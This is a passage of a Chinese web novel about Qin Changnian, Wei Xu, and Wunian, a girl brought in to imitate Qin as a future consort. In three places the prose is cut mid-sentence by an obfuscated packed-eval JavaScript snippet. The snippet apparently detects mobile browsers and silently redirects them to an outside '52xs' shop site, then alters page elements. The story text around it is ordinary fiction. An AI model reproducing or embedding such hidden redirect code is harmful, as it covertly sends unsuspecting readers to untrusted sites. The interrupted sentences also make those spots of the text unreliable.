“你快看啊,过了这个村可没这个店了。”秦常念用手肘顶了一下隗絮,“或者你告诉我你喜欢哪种类型的,我帮你寻寻看。” 隗絮叹了一口气,把头扭过去。但还是老老实实地给秦常念扒了个橘子递到她手上。 秦常念很自然地接过,边吃橘子,边摇头晃脑地欣赏节目,一直也没忘了自己的任务——帮隗絮物色侧妃。 安蓉王后见隗絮和秦常念互动得有来有回便问道:“少主可有心仪的?” 闻言秦常念也一脸好奇地转过去。 “回母后,并无。”隗絮答道,“儿臣不会再纳妾,也不需要纳妾。” 整个场子都冷了下来,这场宴会是为了少主纳妾而设,现在少主不愿意,那这宴会还办不办了。 “儿臣告退,还请母后好好欣赏、尽情享受。”隗絮不给安蓉王后说话的机会,站起来躬身拱手,就要离开。走了没两步,一转头发现秦常念还呆愣愣地坐在那里吃橘子,看看安蓉王后,又看看他,一幅举棋不定的样子。 倒忘了她和谁都关系好。隗絮在心里默默叹了一口气,转身拉住秦常念的手将她拽起来往外走。 秦常念很是慌乱,一边费力地跟上隗絮的步伐,一面笑着脸赔罪道:“王后娘娘,我先告退了。那个,姐姐们继续,继续啊,不要因为我们坏了兴致。” “多嘴。”隗絮说道。 秦常念在外还是顾及着隗絮的少主面子,一路都没说话,任由他拽着,一直到进了承韵宫的大门才发作。 “放开!”秦常念很用力地甩了一下手,从隗絮的手里挣脱开来,然后揉着自己的手腕,翻了个白眼道,“很痛诶!” “该!”隗絮说道,今日之宴是秦常念诓他去的,原本说的是和安蓉王妃一起吃顿饭,聊聊天。为了腾出时间,他昨晚还在书房待到快天亮,把事情都提前处理完、安排好,确保今天一整天都不会有事。他不想陪着秦常念去吃饭,还要计算着时间催她。 “多选几个姐姐接过来不好吗,你的承韵宫日日那么冷清,除了剪书都没个人跟你说话,你不寂寞吗?”秦常念说道,“我确实骗了你,没有提前告诉你今天宴会的目的,我道歉。但是我若是提前告诉你了,你还会去吗?” 他不会。 “哪里冷清。”隗絮小声嘀咕了一句。 秦常念没听清,凑近一点:“你说什么?” 隗絮却反应过来她话里的玄机:“所以你要走。”他很笃定地说道,“今日不是给我选侧妃的,而是选一个替代你位置的人。”隗絮想,怪不得今日来的都是些北凉重臣的女儿,或是赤狄人中的大家贵族。显然她们是不会愿意做侧妃的,她们都是为了少主夫人一位而来。 秦常念沉默了一会说道:“我想走,也要你同意啊。你不同意,我能走去哪。” “你最好记住这句话,没有我的同意,你哪也去不了!”隗絮说道。 秦常念仰起头,正迎上刺眼的阳光。墙角的积雪早已荡然无存,春暖花开的气息遍布北凉。 秦常念伸出手,短暂地捧住一缕阳光,笑了一下道:“你是北凉的旭日,我是漠北的大雪。旭日东升之日,便是大雪融化之时。我们终究是不能共存的。你还不明白吗?” “那我便要做那无尽的黑夜!”隗絮撑起一把黑伞,将秦常念罩在阴影里。 那把伞很大,不仅挡住了阳光,也遮住了秦常念的大半视线,取代悠悠白云,成为秦常念世界里新的天空。 &&& 秦常念围着眼前的女孩转了一圈,她的衣着打扮是与自己一致的浅蓝色罗裙,身形相近,相貌虽然很难做到一模一样,但细看眉眼处,是有几分神韵在的。 “如何?”安蓉王后在一旁问道。 “嗯,是挺像的。”秦常念肯定道,“如何称呼这位小姐?” “小女梧年。”女孩屈膝行礼道。 秦常念微微颔首。 梧年,勿念。名字里都带着安蓉王后的期盼。 “她便留在你身边,学习模仿你说话处事的风格。平日里你会和絮儿做些什么、说些什么,都一并教给她。”安蓉王后道。 虽然隗絮现在表现得很抗拒,但秦常念一走,他身边的位置空了出来,必定感到空虚寂寞。到时候,不管他是借新情消旧愁,还是将梧年看作秦常念的替身,他都势必会和梧年接触。 趁虚而入的感情最好培养。 安蓉王后走了,房间里只剩下秦常念和梧年两个人。 “秦小姐平日里都做些什么?”梧年率先开口。 “嗯……也没什么事做。承韵宫里的生活挺无聊的。”秦常念很诚实地回答道。 秦常念每天的日常很简单,简单到枯燥。练剑、种花、看书;种花、看书、练剑;看书、种花、练剑。总之三件事情调转一下顺序,就是新的一天。和隗絮的交流,不出意外的话也就是一日三餐一起吃。 仅此而已。 此刻午后暖阳当空,秦常念觉得手痒痒,想出去耍几个剑式。但一看边上的梧年瞪着大眼睛,犹豫了一下,还是让苒儿在院子里摆了桌子,一起喝茶聊天。 “秦小姐不必觉得不便,拿我当妹妹看就可以了。平日里怎么对妹妹就怎么对我,没关系的。”梧年说道。 “我没有妹妹。”秦常念扒了个橘子,掰了一半给梧年。 “那我便是第一个妹妹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240334|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谢过姐姐。”梧年颇有几分自来熟的特性,接过橘子,很优雅地分成一小瓣、一小瓣,用一块帕子掩着嘴吃。 秦常念是懒得麻烦,拿着一半橘子咬着吃,感叹道:“你吃东西真仔细。” 梧年浅笑了一下,立刻停下,换成和秦常念一样的吃法:“多谢姐姐提醒。” “我没这个意思,你就按自己习惯的方式吃吧。放心,我不会告诉安蓉王后的。”秦常念觉得装另一个人是一件很辛苦的事情,好心提醒道。 “模仿姐姐是我的任务,我日后会多加注意的,谢谢姐姐。”梧年避开了秦常念的提议。 “你看着也不像赤狄人,家是何处?”秦常念问道。 “我是无父无母的孤儿。原是跟着大齐的商队做个隶人,一路贸易至北凉,后幸得太府卿收养,才在北凉安稳下来。”梧年答道。 秦常念抬起眼皮,原来她就是太府卿的养女。那无论从身份地位,还是音容相貌,她都适合做少主夫人。只是传闻中太府卿和养女的关系很不一般,秦常念常常听苒儿她们讲八卦,都是说太府卿的养女如何如何手段了得,太府卿对她如何如何宠爱有加。 以前只当是个谣传听,没想到真有这人。 “你来承韵宫,太府卿没说什么?”秦常念问道。 “他应该说什么吗?”梧年反问道。 秦常念撇了一下嘴,看来传闻中的事是真的,她在太府卿面前很是放肆。 “我和他说了,我要做一个靠自己的女人,而不是依附于她。”梧年说道。 所以你想出来的办法就是从一个男人身边,换到另一个男人身边来?这叫靠自己?秦常念腹谤道。 红砖墙边,一个熟悉的身影翻了下来。梧年警惕地转过头去。 “正好你来了,我给你介绍一下,这是你妹妹。”秦常念扔了一个橘子给隗子舟,指了指旁边的梧年说道。 “见过逸侯殿下。”梧年急忙起身行礼。 “谁是我妹妹。姐姐你可不要给我乱认亲戚,我可不认识她。”隗子舟在空中接住橘子,嫌弃地翻了个白眼。 “反正你们都喜欢乱认亲戚,都喊我作姐姐,那你们相互之间就是哥哥和妹妹。”秦常念说道。 “不是。” “不是。” 隗子舟和梧年异口同声地说道。 “小女不敢,是小女僭越了。怎能和逸侯大人互称兄妹呢。”梧年低着头说道。 隗子舟往秦常念边上垮了一大步,似乎怕梧年黏在他身上甩不脱道:“姐姐和她不一样,她怎么能做我妹妹呢。我不同意。” 秦常念点了点头表示听到了隗子舟的抗议道:“那你做弟弟。”不等隗子舟说话,就转过去对梧年说道,“你也没什么敢不敢的,我这做姐姐的都说了,你便唤他做弟弟。不必那么生分。” “好的姐姐。”梧年听了秦常念的话,立刻对隗子舟说道,“弟弟可要我帮你剥橘子吃?” “谁是你弟弟!”隗子舟气得大吼一句。 “你是我弟弟。”秦常念笑着答道,一边把隗子舟推到旁边座位上坐下。 46. 日子 “请帖我已经要到了,你那边准备得怎么样了。”秦常念问道,“围猎上不会掉链子吧?” 隗子舟戒备地看了一眼梧年,又看了看秦常念。 秦常念心下了然:“没事,她可以听,自己人。” 隗子舟看秦常念这么坚持,只好妥协。拿出一副地图:“这是围猎场的地形图。到时候姐姐从正门进去,一路往东南方向走,我会在这个角上接应你。” 梧年打断道:“私放北凉质子的责任,弟弟打算如何担?” “我自是不会告诉别人我帮了姐姐的,你不说,我不说,此事不就过去了。就算姐姐受不了北凉、分外思念故土,逃了。”隗子舟回答道。 “你把姐姐接应出去之后呢,姐姐一个人骑马走吗?要如何穿过北凉边境?”梧年一个问题接着一个问题,犀利地问道。然后转过来面向秦常念,“你真要信他吗?我看他根本就不靠谱。” “这些是我的事情,你就不必管了。”秦常念回答道。她伸手拿起那张地图,然后对着隗子舟道,“我知道了,你先回去吧。” 隗子舟站起身来,提溜着梧年就要一起走。 “干嘛啊,弟弟,是说让你走,不是说我走。”梧年一边挣脱一边道。 “我都要走,你凭什么不走?赖在承韵宫干嘛,你还真想当少主夫人啊?”隗子舟道。 “不要乱说话。”秦常念正色道,“她暂时在我这住下来,先不走了。” “她?!”隗子舟一脸难以置信。 梧年又优哉游哉地走回去坐下,一副春风得意的样子。 秦常念拍了拍隗子舟的肩膀催促道:“你快走吧,再不走,你哥要过来用晚膳了,到时候看见你了,你怎么解释。” “她在这里就可以解释,我在这里就解释不了?”隗子舟也是个嘴上不饶人的。 “那毕竟她是你未来兄嫂嘛。”秦常念道。心里闪过一丝酸涩。 “她才不是我兄嫂呢。”隗子舟扔下一句话,就翻墙离开了。 “他这人就这样,嘴上说得一套一套的,但人不坏,兴许以后你能和他做朋友。”秦常念看着梧年,用手指了一下隗子舟消失的方向。 “没必要,我又不是来交朋友的。”梧年无所谓地答道。 “你想吃汤圆吗,今日父王那边做了酒糟汤圆,要不要尝尝。”隗絮带着人进来了,一边走一边说道。直到看见梧年,猛地止住了话头。 “小女梧年见过少主大人。”梧年起身,规规矩矩地行礼。 隗絮完全不看她,只盯着秦常念,仿佛在等她解释。 秦常念仍然坐着:“这是梧年,是我……好朋友。”本来想说是妹妹的,但秦常念一想,妹妹以后做了少主夫人,姐姐喜变小姨子,简直乱了套了,不敢想不敢想。 隗絮点了点头:“我们要用膳了。”言外之意是你该走了。 秦常念忙招着手让人布菜:“添多一双碗筷,梧年与我们一块吃。” 隗絮的脸立刻就黑了,看了秦常念一眼,但没说什么,还是坐下了。 “我难得能在北凉交到好朋友,少主就赏个面子一块吃呗。”秦常念觉得气氛有些尴尬,主动提了杯子要和隗絮碰。 隗絮并没拿自己的杯子,而是接过秦常念手上的杯子一饮而尽:“嗯,知道了。” 一整顿饭下来,旁边多了个人,隗絮有好几次都感到不自在。但是想起秦常念说的“难得有个好朋友”,他又忍了下来。 甚至于在秦常念夸梧年的胭脂颜色好看的时候,他都给了反应。 “梧年唇红齿白的,用这款胭脂好合适。”秦常念夸道。 “姐姐谬赞。”梧年笑了一下。 “你说是吧?”秦常念见隗絮没反应,用胳膊肘顶了他一下。 隗絮把头转过来,盯着秦常念。秦常念看着他使眼色“说啊”。 隗絮不情不愿、不紧不慢地接道:“嗯。” 话音刚落,就听到那边梧年和他形成鲜明对比的激动声音:“是吗,谢谢少主大人。” 隗絮没回答,又对秦常念说道:“喜欢的话,给你也买一块。”又在秦常念旁边耳语道:“唇红齿白,关胭脂什么事,你这说的都是什么话。”因为刻意压低声音,而显得有些咬牙切齿,喜提秦常念一个大大的白眼。 “你就不能别那么暴躁吗?”秦常念道。 “我暴躁?我哪有。”隗絮说道,但秦常念根本不听,转过去就给梧年夹菜,“你多吃点,别客气。”甚至还把自己碗里的鸡腿夹给了梧年。 隗絮一见,把自己的鸡腿夹到秦常念碗里:“都给她了,你吃什么。傻不傻。” “谢谢少主大人。”秦常念说道。 隗絮却翻了个白眼,似乎不是很开心呢的样子。 梧年坐在一旁观察,发现秦常念对北凉少主的态度不像她想象中那样,她似乎不是很在乎这位少主。夹菜的时候都是隗絮给她夹,整顿饭她也光顾着关心自己,根本没怎么理隗絮。隗絮也不擅长打开新的话题,很多时候两个人都不说话,只是坐在一起吃饭。也许有人会觉得秦常念和隗絮压根不熟,但梧年却觉得,两个人之间有一种惊人的默契。 就像是她和太府卿。 一顿饭吃完,梧年今天第无数次听到逐客令。 “时间也不早了,梧小姐先回去休息吧。我遣人送你回去。”隗絮说道。 “她和我一起住。”秦常念开口替梧年解围。 ???隗絮脑袋里冒出无数个问号。 “在承韵宫里的生活好孤单,总是要一个人睡。难得梧年愿意陪我。”秦常念道。虽说是用来搪塞隗絮的话,但秦常念忽然觉得这话其实讲的是隗絮,在承韵宫里好孤独,以后都是梧年陪你了。情绪就低落了下来。 “你不想一个人睡的话,我也可以……”隗絮话说了一半,就意识到秦常念的情绪不对,立刻反思自己,是不是自己对秦常念总是太掌控了,都让她觉得压抑;是不是承韵宫的生活太无聊了,让她烦心。又想起这顿饭开始之前,秦常念笑着给他介绍——梧年是她的好朋友。隗絮决定闭嘴。 “那你们早点休息。”隗絮没再说那一句没说完的话,转了话头说道。又转过去对梧年说,“既然你来了,就陪她好好玩一会。在宫里的生活实在是闷得慌。多谢梧小姐了。” 梧年立刻站起来:“哪里的话,少主大人。能和姐姐一起,是我的荣幸。” “有什么缺的随时说。”隗絮对秦常念说道,“我让人给你送过来。别为了照顾别人委屈了自己。” “嗯。”秦常念应道。 隗絮站起身来离开了。走之前,半转过身子看了一眼,秦常念正热情地给梧年介绍着住处。不免想到他刚去镇北将军府的时候,秦常念也是这样招待他吃火锅的,也把肉片一筷子一筷子夹到他的碗里,也古灵精怪地威胁他带她一起喝酒,也使出浑身解数地要他教他武功。 人小鬼大、无法无天的。 是他把事情搞砸了,他们才变成现在这样。 可是即便再给他一次机会,他也想不出任何更好的选择。 谁知道呢,两败俱伤也许是唯一的两全之法。 梧年在承韵宫里住了下来。秦常念、梧年、苒儿倒刚好可以凑一桌叶子牌玩。偶尔隗子舟来了,梧年便会拉着他一起,说是麻雀牌三缺一。 隗子舟次次说着“不喜欢玩这种玩意”,次次最后都翻着白眼坐下来打。打起来的时候倒比谁都认真。 秦常念觉得他不喜欢打麻雀牌应该是因为打得少,因为他老输。快输了的时候,隗子舟就会眉头紧皱,嘴上念念叨叨:“怎么回事,哎,早知道刚才不出这个了。我撤回撤回。”然后就蔫坏地伸出罪恶的小手,想将牌拿回来。 每次都被梧年一张牌怼过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267620|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,正好打在隗子舟的手上:“君子落子无悔。” “我不是……”隗子舟话还没说完,梧年已经转向苒儿了:“怎么样,你出什么。” 隗子舟向来那张嘴是能说会道的,偶尔那么几次吃瘪,秦常念倒也乐得看。就是有时候乐着乐着,忘记出牌了,会听到四面八方传来的“姐姐!姐姐!”十分像女版唐僧入了盘丝洞的心情。 隗子舟一输,就要不开心;一不开心,就要拔承韵宫里的草解气。以至于有时候一晚上倒下了一排草,秦常念又怕隗絮问起来,大晚上带着苒儿和梧年一根一根插回土里,有一些根都拔断了,也被那么直挺挺地插进去。俗称“拔苗助长”。 更多的时候,秦常念还是在院子里练剑。过去是一个人练,现在是和梧年一起练。 梧年第一次提出来要和秦常念一起练剑的时候,秦常念还在心里担心,梧年会不会太勉强,毕竟一来就切磋,稍有不慎容易受伤。 梧年立刻就跑回房间取了一柄白玉质地手柄的长剑,空挥几下,挽了个剑花,一脚踏在树干上,脚上一蹬,在空中漂亮地翻了个身,与此同时,剑凌空划过,正好将树上一个果子击穿。 秦常念很是意外:“没想到你的功夫这么好。”安蓉王后选人的时候果然废了心思。 “多谢姐姐。”梧年提剑示意,“还是要多向姐姐学习。”然后一个弓箭步,刀刃指向秦常念。 秦常念立刻就来了兴致:“来!”一个下腰穿过梧年的剑,就贴身近战。 梧年也不甘示弱,立刻收了剑,腾空而起,用剑架住秦常念的剑。 两个人轮流攻守,刀剑在空中划出火花。两人从地上打到树上,再打到房梁上。 最后两人的剑同时停在离对方喉咙一寸的位置。 秦常念用余光扫了一眼,笑道:“不错啊。” “姐姐承让了。”梧年也笑道。 有人实战比一个人干练有意思多了,所以秦常念常常找梧年一起练。苒儿则是满眼羡慕地站在一旁,见到一位侠女都不容易,承韵宫一下子住进来两位。 有时候隗子舟来了,两人还在房顶上打得酣畅淋漓,苒儿便会拿来瓜子和他一起磕。总之在承韵宫,大家都像朋友一样,没什么身份地位的分别。 “秦小姐和梧小姐都好酷啊。”苒儿一边嗑瓜子一边道。 “什么时候才打完啊。”隗子舟对看她们练剑没什么兴趣,边磕瓜子边对着顶上大喊一句,“姐姐!打麻雀牌了!” 房顶上便会传来回应:“速战速决!”紧接着就是更激烈的、凶狠、带着杀意的招式。当然在隗子舟眼睛里,就是画面更混乱了,两个人颤抖在一起,一会上天,一会入地的。他根本看不明白输赢。但她们一般能在半柱香内结束战斗,所以隗子舟和苒儿会提前布好牌桌、准备好茶水。 “逸侯,你好歹也是王孙贵族,怎么你不会武功呢。”苒儿道。 隗子舟一边将牌摆出来,一边道:“那人各有志。我在武功上不行,在麻雀牌上可是能和你们大战个三百个来回不在话下。”一边又立下豪言壮语,“我今日绝不会再输了!你等着哭吧。” 切,真是不知道自己几斤几两。麻雀牌是苒儿最有自信的一项活动,在他们四个人里,她也总是赢的那一个。靠这个赚了很多钱。 赢得多了,苒儿难免有些不好意思,总是说不拿钱。但秦常念每回都会硬塞给她,说让她添置点新衣服,买点喜欢的小玩意。 “欢时易过,苦日难熬。以后啊,有得是你受的。”秦常念总是笑着点点苒儿的额头,“再说了,你看他们哪个像缺钱的主,不趁机敲诈勒索一笔就算了好了。” 对面某位不缺钱的主,隗子舟在又输了一轮后,彻底失去情绪控制,快速洗了牌:“再来一局,再来一局,这次我押双倍。刚刚没发挥好。” 苒儿摇了摇头,真是想不赚钱都难。 47. 受伤 秦常念和梧年两个都是较真的,用隗子舟的话来说,就是根本看不来是在切磋,还是借切磋的机会报仇。 所以身上、脸上挂彩是常有的事。 这天秦常念在练新的招式,还不熟练,躲梧年的剑的时候一不小心磕在房檐上,整个人滚了一圈,然后掉了下来。 梧年和苒儿立刻去扶:“你没事吧?” “没事没事。”秦常念撑着从地上站起身来。 “我不是故意的,对不起。”梧年说道。 “这怎又能怪你呢,是我自己失误了。”秦常念道。 苒儿赶紧跑去取伤药,梧年也担心地站在一旁。 秦常念见气氛这么严肃,赶紧挥了挥手:“哎呀,我这好得很呢,别担心。” 隗絮恰好拿着一个木盒子走了进来:“担心什么?” 秦常念不敢让他知道,偷偷对梧年比了个噤声的手势:“没什么,我们在这聊闲天呢。” 隗絮一走过来就看见秦常念额角的伤,立刻严肃道:“你头上怎么回事?” 秦常念一听这话,下意识就抬手去摸,被隗絮一把抓住手腕:“别摸,一会伤口感染了。”说罢,隗絮打量了梧年一眼。 “那个……我俩闹着玩呢。”秦常念怕他对梧年生气赶紧说道。 “嗯,我又没说什么。”隗絮边说边拉着秦常念的手腕,让她站起来。 “去哪?”秦常念站了起来。 “上药。若是留了疤,你可要伤心了。”隗絮道。 “苒儿已经去拿……药了。”秦常念话刚说了一半,就和转过头来的隗絮对视,自知理亏,就默默闭嘴了,跟在隗絮身后,还不忘对梧年做了个嘴型:“没事,我去去就回。” 从房檐上掉下来那一下伤得挺重,额角的伤确实是小伤,但脚腕被震了一下,麻得厉害。秦常念即便是有心隐瞒,走路也有点一瘸一拐的,但她忍着没有出声。 走了几步隗絮就觉得不对劲,秦常念可不是那种胆小的性格,哪怕理亏,嘴上都要做一下最后的挣扎的,此刻怎么如此安静。他猛地转过头去看,就看见了秦常念没来得及藏起来的表情。 “哪里痛?”隗絮一看便知道秦常念不对劲,立刻蹲下来查看秦常念的脚踝。 见秦常念不答话,隗絮又接着问道:“是骨头痛吗?”说完轻轻捏了一下秦常念的距骨处,秦常念倒抽一口冷气。 隗絮立刻就皱起了眉头,手又往下移了一点按压:“这里呢?” 秦常念觉得自己的整个脚都疼得厉害,麻嗖嗖的,根本感觉不出来具体是哪里痛,只能撑着隗絮的肩膀,将右脚微微离地,以减少压迫。 隗絮迟迟等不到她的回答,抬起头来,看着秦常念认真道:“不要总想瞒着我。哪里痛,说话。”又把秦常念的脚直接放在自己的膝盖上撑着。 秦常念下意识就想把脚抽回来,隗絮握住她脚踝的手却没松开。 “你衣服,弄脏了。”秦常念指着隗絮的衣摆道。 隗絮今日穿了一身素白长袍,上面绣着竹子的样式,平平整整,没有一丝褶皱的下半部分,此刻就被秦常念踩在脚下,变作一小团布。 下人们一定恨死我了。秦常念很不合时宜地想道,这样的衣服本就金贵,稍微沾染一点污垢就难以清除,更是容易皱的料子,从制作到运输,都得小心地铺开,才能保证最完美的衣型。现在可完了,全都完了。也不知道是不是隗絮心爱的衣服,如果恢复不了,可怎么办啊。 隗絮看秦常念越来越出神,提高了音量道:“哪里痛,我在问你。” 秦常念回过神来,仔细感受了一下:“脚踝的侧面骨头那里。” 隗絮照着她说的摸过去:“这里吗?” 秦常念点了点头。 隗絮立刻就摸着那块骨头四周揉捏、按压,痛得秦常念又一个激灵:“你干嘛?我都说了这里痛,你可以不用再试我了。没骗你。” 隗絮头也不抬:“我知道。这个位置疼应当是你从房梁上摔下来,一时来不及卸力,杵到了。得先把经脉揉开,不然会更严重的。” 秦常念看着隗絮蹲下去低着头的样子,修长的头发半扎起来,头顶在阳光下熠熠生辉的发冠和隗絮此时的动作形成鲜明的对比,秦常念一下没忍住,抬手摸了一下隗絮的发顶。 “怎么了?”隗絮问道,手上的动作仍是没停。 秦常念笑了一下:“小时候父亲总跟我说,别让别人摸我发顶,摸脑袋是长不高的。你倒是不介意。” 隗絮也笑了:“我也早过了能长高的年纪了吧。怎么,你嫌我不够高?” 秦常念摇了摇头,隗絮的外形气质那是没得挑,无论放在哪里,都是大家第一眼就会关注到的对象:“我希望你不要再长高了才好,已经足够了。” 越高,越强,越孤寂。 当你比肩太阳的时候,你就有一半是陷在黑暗里的。 不知道隗絮有没有听懂秦常念话里的意思,他将秦常念的脚放回地上,伸手牵过放在自己肩头的秦常念的手,站起身来:“别操心了,长不长得高是由老天爷做主的。老天爷要你高,你不想高也没办法;老天爷不要你高,你想高也做不到。看看,你脚好点了没。” 秦常念尝试活动了一下,果然不痛了,说道:“你懂得还挺多的嘛,多谢。” “不用。”隗絮又背过身,蹲在秦常念的面前,“上来吧。” 他要背她。秦常念连忙说道:“不用,我这都已经不疼了,可以自己走。” 隗絮一把抓住秦常念的手,猛拉了一下,让秦常念失去平衡倒在他的背上,然后稳稳地站起来:“就紧急处理了一下你就能自己走了,你是惯会逞强的。” “我哪有逞强。”秦常念趴在隗絮的肩头辩解道。 “不逞强你能从屋檐上滚下来?”隗絮反驳道,“你就是又心急,新招数都还没练好,就急着在实战中用,才会这样子的。” 隗絮一下子把事情都还原了,秦常念也没办法再反驳,小声“嗯”了一声,就开始转移话题:“那你不许去怪梧年,是我自己伤到的。” “自身难保,还去操心别人。”隗絮说道。 “那梧年是我的朋友,我不护着她,谁护着她。”秦常念很骄傲地说道,“我可是很义气的。”又拍了拍隗絮的肩膀,补充道,“你放心,要是你被别人针对,我也一定站出来替你说话。” “为什么?”隗絮问道。 “不能让你受委屈嘛。”秦常念答道。 “为什么?”隗絮继续追问。 “嗯……我们是好朋友嘛。”秦常念说道。 “我们是好朋友。”隗絮重复了一遍,笑了一下,说话的声音里带着点气音,“那你有什么事,都来找我,都告诉我,我来帮你。不要什么都想一个人扛。” “啊?”秦常念觉得这好像不是他们刚才在讨论的话题。 “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304097|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是好朋友嘛。”隗絮道。 秦常念忽然又觉得这个理由无法反驳,点了点头应下来。 隗絮把秦常念一路背回了自己房间,然后蹲下来把她放在了床上。 秦常念来承韵宫这么久,还是第一次来隗絮的寝殿。刚来的时候俩人闹着别扭,后来隗絮日日都去她房里陪她吃饭,再后来梧年来了,她更是大部分时间都和她待在一起。 秦常念好奇地看了一圈,隗絮的房间很大,但布置十分干练,床、桌椅、柜子全部都是深色的,台面上也收拾得干干净净,除了熏香,没有放任何其他的东西,不像秦常念的房里,桌上插着花、摆了好看的装饰,显得很有人气。明明她才是搬过来没多久的那一个。 “你的房间……好像洞穴。”秦常念实话实说道。 隗絮无奈地将药箱拿过来,取出治跌打损伤的药,往秦常念的额头上撒,一边说道:“我就猜到了你不会喜欢。” “那我当然是比较喜欢我的房间,又漂亮,又敞亮,还有各种好看的东西装饰,要不要我明天拿几个过来,也装饰一下你的房间?”秦常念仰着头,让隗絮给她上药。 “不用。”隗絮答道。本来那些东西就是为了秦常念特意添置的。他原是想着让秦常念和他住一间,担心自己的房间太压抑,秦常念不喜欢,特意命人买了那些装饰,还让人摆了花瓶在房间里,定期更换里面的花束。她喜欢花。 后来他把秦常念带回来的时候,秦常念生了好大一场气。他也不是没有冲动地想过,就逼秦常念住进来。但秦常念和他吵架的时候,凌乱的呼吸、通红的眼眶和强忍着的眼泪,让他始终没办法下定决心。 她会不高兴的。这是隗絮心里最大的疙瘩。最后还是单独布置了一间出来,隗絮还特意命人把小花园圈出来,留给秦常念。 “你的承韵宫里也挺奇怪的,房间内部的风格差这么多。”秦常念说道。 隗絮勾了一下嘴角,没有回答秦常念的问题,而是弯腰把秦常念的腿捞起来,架在自己脚上,在脚腕处揉着跌打油。 “药油一日过来擦两次,最近两个星期都别练那些危险的招式了,和梧年在地面上比划比划,过过瘾就行。”隗絮嘱咐道。 “好的。”秦常念说道,“我也不用每日过来叨扰少主大人,让苒儿帮我涂就可以了。” 隗絮犹豫了一下,见秦常念很坚持,还是把药油递到了她手上:“要记得。” “我知道啦,不用担心。”秦常念眨了下眼睛向他保证。 两人安静地在床上坐了一会,隗絮也没再说话。 “没什么其他事情的话,我就先回去了,今日多谢少主!”秦常念开口道。 又是道谢的话,隗絮心里不快,但最终没说出来。取过那只他拿在手上的木盒子,递给秦常念:“给你的。” 秦常念打开一看,大大小小、五颜六色的胭脂有十几个,有几分惊讶。 “那日你不是说梧年的胭脂好看嘛。我不是很懂这些东西,也不知道你究竟喜欢哪一种,只能把我觉得适合你的都买回来了,你看看有没有你喜欢的。”隗絮说道。 “所以你今日来找我是为了送这个?”秦常念好像忽然捋清楚了,问道。 “嗯。”隗絮答道,“其他的就没什么了,我送你回去吧。” 就是有点想你了。 也没什么。 就是好久没跟你独处一会了。 也没什么。 48. 聚会 秦常念觉得今日的隗絮很反常,他既没追问自己受伤的细节,也没有一直唠唠叨叨让她不准再练了,甚至连药油都给她了。 照她对隗絮的了解,隗絮不是应该贱兮兮地把药油收起来,然后说:“每日早晚各来找我一次。”吗? 隗絮的表现平易近人得要命,但为什么她的心里却升起一丝淡淡的忧伤。 秦常念倒在床上,用手捂上胸口,感受心脏的钝痛。 人真是复杂,很多感情就是说不清楚。 梧年推门而入:“姐姐。” 秦常念收拾了一下情绪,坐起身来:“什么事?” “我来看看你的伤怎么样了。”梧年边说边走了进来。 秦常念拍了拍自己身旁让她坐过来,说道:“没事了,上过药了,没几日便好了。不用担心。”边说还边配合地低下头,让梧年查看她额头上的伤。 梧年仔细地看过,说道:“以后每日都要记得涂药,我来给你涂。” 秦常念笑着点了点头。 两人并排坐了一会,梧年想来想去还是开了口:“少主大人单独叫姐姐出去,是为了说什么?” 秦常念转过去看着梧年:“没说什么,放心,他不会怪你的。” “我不是担心这个。”梧年回答道。 秦常念才想起来,梧年的任务是要模仿她,安蓉王后是要借她,培养一个真正的少主夫人。所以梧年最好是知道秦常念和隗絮之间发生的一切,这样秦常念走了以后,她便会成为和隗絮最亲近、最懂隗絮的那个人。 “哦,对,你需要知道我们之间的故事细节,我今日真是摔傻了,连这个都忘了。”秦常念笑着,抬手擦了一下眼睛,在不经意间把眼泪擦掉,“我想想啊。” “也没什么,他说了几句让我小心点,帮我上了药。”秦常念边回忆边说道,“哦对,他还送了我这个。” 秦常念把胭脂盒递给梧年。 “这是什么?”梧年问道。 “你打开看吧。”秦常念努了努嘴。 她刻意隐瞒了隗絮背她的细节和关于“他们是好朋友”的那段对话,算是她的一点私心吧。 我也在心里保留了一点我和你之间的秘密。秦常念想。 “是因为上次姐姐夸了我的胭脂,所以买这个给姐姐吗?”梧年问道。 “可能是吧。”秦常念答道。 “少主大人心思真细腻。”梧年说道。 秦常念并没给回应,只是笑了一下。 “我有一个问题,想问姐姐。”梧年忽然说道。 “什么问题?”秦常念道。 “姐姐你喜欢少主吗?”梧年问道。 秦常念有些意外:“你为什么问这个?” “起初我同意安蓉王后来模仿姐姐,是因为我听说姐姐要走。这是一个我可以向上爬的好机会。”梧年停顿了一下,继续说道,“但我并没有要介入他人的想法。我本以为姐姐对少主是没有感情的,纯粹是被强迫带来北凉的。但相处了这些天,我觉得姐姐和少主也许是真心相爱的。” 